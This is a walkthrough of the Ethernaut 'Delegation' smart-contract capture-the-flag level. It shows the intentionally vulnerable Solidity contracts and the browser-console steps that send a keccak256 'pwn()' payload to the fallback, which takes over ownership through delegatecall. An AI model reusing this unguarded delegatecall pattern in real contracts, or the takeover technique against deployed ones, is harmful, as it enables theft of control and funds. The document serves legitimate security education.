Problem statement
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity's documentation on the
delegatecall
low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. - Fallback methods
- Method ids
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and create a data payload variable.
const payload = web3.utils.keccak256("pwn()")
Send that payload to the contracts fallback function.
await contract.sendTransaction({data: payload})
Control that you are the owner of the contract.
(await contract.owner()) === player
If true, then finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.
Explanation
The name of the challenge gives away where the vulnerability may be located, delegatecall
.
We want to update the state of the owner
of the Delegation
contract to our address.
There are no code in the Delegation
contract that updates the owner
state.
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
What we can see though is that there is a call to an other contract, and that has always a potential to be dangerous.
(bool result,) = address(delegate).delegatecall(msg.data);
As we can see in the Delegate
contract there is at least code there for changing the owner, the function pwn
.
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
It happens to be the case that the low level function delegatecall
works in ways that might not be obvious at first glance.
delegatecall
is a "blind" call to a function on a contract and it's all given by the payload. We are using the library web3 to construct our payload which is based on the function name we want to call on the Delegate
contract.
const payload = web3.utils.keccak256("pwn()")
// payload = 0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab
All we need is to send the hash of the function name with the sendTransaction
call.
await contract.sendTransaction({data: payload})
The delegatecall
will then make a call to the pwn()
function on the Delegate contract, and here is the magic. The delegatecall
will not change the context it is executed in, it runs the code of Delegate
inside the context of the Delegation
contract.
Since both contracts has the address public owner
state it will result that the pwn
function will update the Delegation.owner
variable instead. So when the transactions has been confirmed then the owner has been updated on the Delegation
contract, and we reached our goal!
The take away from the level author says it all.
Resources
- Delegation - This challenge
- Remix - Web based IDE for Solidity
- Solidity - Solidity documentation
- The Parity Wallet Hack Explained - The link in the take away above
Top comments (0)